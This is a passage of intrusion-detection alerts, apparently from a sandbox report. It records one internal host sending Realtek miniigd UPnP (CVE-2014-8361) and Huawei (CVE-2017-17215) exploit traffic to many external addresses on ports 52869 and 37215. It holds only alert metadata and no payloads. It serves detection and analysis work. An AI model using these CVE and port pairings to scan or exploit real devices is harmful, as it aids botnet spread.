Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.44.162.23

Timestamp:	07/20/24-23:01:41.370646
SID:	2027339
Source Port:	36080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.241.118.240

Timestamp:	07/20/24-23:01:31.331820
SID:	2027339
Source Port:	39354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.35.135.206

Timestamp:	07/20/24-23:01:58.624224
SID:	2027339
Source Port:	54392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.225.143.5

Timestamp:	07/20/24-23:01:47.924852
SID:	2831300
Source Port:	52002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.17.179.230

Timestamp:	07/20/24-23:01:41.343266
SID:	2025132
Source Port:	54936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.237.240

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	55438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.187.229.164

Timestamp:	07/20/24-23:01:01.448947
SID:	2025132
Source Port:	41332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.210.162.125

Timestamp:	07/20/24-23:01:42.042815
SID:	2025132
Source Port:	56826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.74.155.53

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	57472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.94.137.105

Timestamp:	07/20/24-23:01:08.556804
SID:	2027339
Source Port:	57658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.233.41.28

Timestamp:	07/20/24-23:01:08.611773
SID:	2027339
Source Port:	54474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.51.90

Timestamp:	07/20/24-23:01:27.654172
SID:	2835222
Source Port:	36212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.205.44.142

Timestamp:	07/20/24-23:01:43.177552
SID:	2027339
Source Port:	58512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.40.152.48

Timestamp:	07/20/24-23:01:53.971751
SID:	2831300
Source Port:	39120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.17.35.77

Timestamp:	07/20/24-23:01:57.747300
SID:	2025132
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 39.16.82.179

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	50868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.248.134.22

Timestamp:	07/20/24-23:01:52.919383
SID:	2831300
Source Port:	55932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.36.169.221

Timestamp:	07/20/24-23:01:46.348899
SID:	2831300
Source Port:	53338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.75.31.114

Timestamp:	07/20/24-23:01:49.946258
SID:	2025132
Source Port:	42936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.248.87.37

Timestamp:	07/20/24-23:01:03.958922
SID:	2027339
Source Port:	60076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.199.165.178

Timestamp:	07/20/24-23:01:44.950737
SID:	2831300
Source Port:	51886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.4.247

Timestamp:	07/20/24-23:01:24.943244
SID:	2829579
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.252.225.26

Timestamp:	07/20/24-23:01:43.978983
SID:	2831300
Source Port:	57384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.246.229.175

Timestamp:	07/20/24-23:01:52.006906
SID:	2027339
Source Port:	50982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.105.247.52

Timestamp:	07/20/24-23:01:41.660997
SID:	2027339
Source Port:	53996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.105.40

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	56668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.182.219.141

Timestamp:	07/20/24-23:01:10.666264
SID:	2025132
Source Port:	41658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.151.108

Timestamp:	07/20/24-23:01:06.991143
SID:	2835222
Source Port:	39806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.129.206.60

Timestamp:	07/20/24-23:01:51.698859
SID:	2025132
Source Port:	43246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.177.22.97

Timestamp:	07/20/24-23:01:56.353592
SID:	2027339
Source Port:	39768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.86.220.196

Timestamp:	07/20/24-23:01:53.354788
SID:	2027339
Source Port:	32794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.221.97.172

Timestamp:	07/20/24-23:01:44.713195
SID:	2027339
Source Port:	47504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.90.46.163

Timestamp:	07/20/24-23:01:32.034562
SID:	2835222
Source Port:	60676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.154.64.238

Timestamp:	07/20/24-23:01:57.330552
SID:	2831300
Source Port:	41256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.41.144.113

Timestamp:	07/20/24-23:01:20.591485
SID:	2831300
Source Port:	52570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.45.122.255

Timestamp:	07/20/24-23:01:56.504220
SID:	2027339
Source Port:	58452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.154.226.190

Timestamp:	07/20/24-23:01:44.795218
SID:	2025132
Source Port:	38366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.30.34

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.165.17.202

Timestamp:	07/20/24-23:01:45.521019
SID:	2831300
Source Port:	34432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.138.76.79

Timestamp:	07/20/24-23:01:46.439367
SID:	2831300
Source Port:	44908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.247.247.76

Timestamp:	07/20/24-23:01:24.510301
SID:	2027339
Source Port:	41918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.108.213.184

Timestamp:	07/20/24-23:00:59.175742
SID:	2835222
Source Port:	37622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.85.208.126

Timestamp:	07/20/24-23:01:47.455724
SID:	2027339
Source Port:	60998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.129.229.179

Timestamp:	07/20/24-23:01:04.192511
SID:	2025132
Source Port:	58484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.223.8.125

Timestamp:	07/20/24-23:01:51.790169
SID:	2027339
Source Port:	37528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.97.145

Timestamp:	07/20/24-23:01:20.124696
SID:	2829579
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.24.138.22

Timestamp:	07/20/24-23:01:24.883172
SID:	2835222
Source Port:	36552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.157.19.102

Timestamp:	07/20/24-23:01:31.323043
SID:	2027339
Source Port:	59916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.109.59.232

Timestamp:	07/20/24-23:01:49.167711
SID:	2025132
Source Port:	39028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.93.17.46

Timestamp:	07/20/24-23:01:49.901282
SID:	2025132
Source Port:	54834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.222.248.206

Timestamp:	07/20/24-23:01:08.578116
SID:	2831300
Source Port:	34374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.157.32

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	55554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.9.166.109

Timestamp:	07/20/24-23:01:44.350602
SID:	2027339
Source Port:	36276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.194.171.63

Timestamp:	07/20/24-23:01:56.315740
SID:	2027339
Source Port:	58126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.133.17.143

Timestamp:	07/20/24-23:01:58.719313
SID:	2027339
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.186.145.164

Timestamp:	07/20/24-23:01:03.432937
SID:	2027339
Source Port:	58602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.194.41.40

Timestamp:	07/20/24-23:01:02.470704
SID:	2025132
Source Port:	45810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.32.142.171

Timestamp:	07/20/24-23:01:40.285039
SID:	2829579
Source Port:	44938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.196.213

Timestamp:	07/20/24-23:01:21.936545
SID:	2829579
Source Port:	60996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.168.191.164

Timestamp:	07/20/24-23:01:47.674845
SID:	2027339
Source Port:	44134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.146.7.44

Timestamp:	07/20/24-23:01:32.027082
SID:	2829579
Source Port:	39308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.189.118.114

Timestamp:	07/20/24-23:01:45.159648
SID:	2831300
Source Port:	47212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.35.187.229

Timestamp:	07/20/24-23:01:51.213578
SID:	2831300
Source Port:	41160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.101.108.92

Timestamp:	07/20/24-23:01:02.721582
SID:	2027339
Source Port:	40048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.132.50.155

Timestamp:	07/20/24-23:01:45.926465
SID:	2027339
Source Port:	35840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.13.148.173

Timestamp:	07/20/24-23:01:14.284488
SID:	2835222
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.82.46.132

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	45192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	07/20/24-23:01:08.912088
SID:	2831300
Source Port:	34906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.252.39.6

Timestamp:	07/20/24-23:01:27.656128
SID:	2835222
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.9.244.61

Timestamp:	07/20/24-23:01:46.530676
SID:	2831300
Source Port:	50316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.86.195.181

Timestamp:	07/20/24-23:01:55.797133
SID:	2025132
Source Port:	55262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.197.166

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	50504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.57.251.26

Timestamp:	07/20/24-23:01:06.996056
SID:	2829579
Source Port:	59582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	07/20/24-23:01:08.938949
SID:	2027339
Source Port:	51090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.60.118.98

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	56216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.19.125.68

Timestamp:	07/20/24-23:01:44.993925
SID:	2025132
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.217.197.57

Timestamp:	07/20/24-23:02:01.357047
SID:	2025132
Source Port:	49068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.46.15.204

Timestamp:	07/20/24-23:01:44.510114
SID:	2025132
Source Port:	49522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.182.103.28

Timestamp:	07/20/24-23:01:10.977084
SID:	2025132
Source Port:	60170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 138.191.112.237

Timestamp:	07/20/24-23:01:11.635828
SID:	2835222
Source Port:	41410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.160.123

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	57148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.6.34.101

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	57408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.53.250.19

Timestamp:	07/20/24-23:01:57.169212
SID:	2025132
Source Port:	57438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.54.73.191

Timestamp:	07/20/24-23:01:44.589820
SID:	2027339
Source Port:	41334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.36.116.167

Timestamp:	07/20/24-23:01:00.645186
SID:	2829579
Source Port:	53540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.47.68.177

Timestamp:	07/20/24-23:01:46.312083
SID:	2027339
Source Port:	57364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.172.23.251

Timestamp:	07/20/24-23:02:03.085082
SID:	2027339
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.133.161.252

Timestamp:	07/20/24-23:01:44.355606
SID:	2027339
Source Port:	46546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.1.92.156

Timestamp:	07/20/24-23:01:49.302154
SID:	2027339
Source Port:	52690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.178.228.43

Timestamp:	07/20/24-23:01:41.608574
SID:	2025132
Source Port:	50646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.180.222.83

Timestamp:	07/20/24-23:01:51.833558
SID:	2025132
Source Port:	34832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.146.199.168

Timestamp:	07/20/24-23:01:20.593003
SID:	2831300
Source Port:	49616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.137.214.123

Timestamp:	07/20/24-23:01:08.620788
SID:	2027339
Source Port:	49576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.104.144.169

Timestamp:	07/20/24-23:02:10.069241
SID:	2027339
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.0.173.57

Timestamp:	07/20/24-23:01:43.965131
SID:	2027339
Source Port:	41790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:49.055673
SID:	2831300
Source Port:	34800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.64.180.236

Timestamp:	07/20/24-23:00:59.148145
SID:	2829579
Source Port:	55784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.72.98.132

Timestamp:	07/20/24-23:01:53.524925
SID:	2025132
Source Port:	56392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.193.247.149

Timestamp:	07/20/24-23:02:18.278764
SID:	2027339
Source Port:	56808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

